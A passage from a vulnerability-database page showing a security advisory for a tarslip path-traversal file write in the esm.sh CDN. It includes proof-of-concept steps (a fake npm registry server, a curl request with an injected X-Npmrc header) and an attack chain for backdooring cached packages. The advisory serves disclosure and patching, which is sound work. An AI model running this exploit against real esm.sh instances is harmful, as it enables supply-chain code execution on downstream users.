get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat /tmp/pyozzi.js\n\n# ouput:\n// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log(\u0027[!!!] Path Traversal Successful!\u0027);\n    console.log(\u0027Package: test-tarslip\u0027);\n    console.log(\u0027Researcher: pyozzi\u0027);\n\n    module.exports = {\n        poc: true,\n        vulnerability: \u0027CWE-22 Path Traversal\u0027,\n        package: \u0027test-tarslip\u0027\n    };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh\u0027s cache. Package lists and file paths can be discovered through esm.sh\u0027s REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.",
  "id": "GHSA-h3mw-4f23-gwpw",
  "modified": "2025-11-27T08:29:22Z",
  "published": "2025-11-19T20:30:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65025"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh CDN service has arbitrary file write via tarslip"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-65025 (GCVE-0-2025-65025)

FKIE_CVE-2025-65025

GHSA-H3MW-4F23-GWPW

Summary

Details

PoC

Step 1. Create Malicious tarball file

Step 2. Run Fake Registry Server

Step 3. Request Malicious Package with X-Npmrc Header

Step 4. Check Path Traversal

Impact

Patch

Tags

Sightings

Nomenclature

Related by attack behaviour